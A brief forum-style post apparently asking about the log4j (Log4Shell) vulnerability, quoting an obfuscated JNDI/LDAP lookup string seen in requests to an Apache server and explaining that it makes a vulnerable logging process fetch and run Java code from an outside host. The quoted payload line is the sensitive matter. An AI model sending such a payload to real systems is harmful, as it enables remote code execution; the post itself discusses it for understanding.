This is the type of request that I'm seeing against an apache web server.
Not vulnerable in itself, but suppose I'm running a java application under
WAS. Logging either within my application or with WAS using a vulnerable
log4j version.

${${lower:${lower:jndi}}:ld${lower:ap}://45.146.164.160:1389/t}

That will cause the process doing the logging to make a connection to the
server running at 45.146.164.160 and execute the java code that it gets
back.

Wouldn't the attacker need to know not only the IP of the server, hope it
has java code on it, and in the path they use?
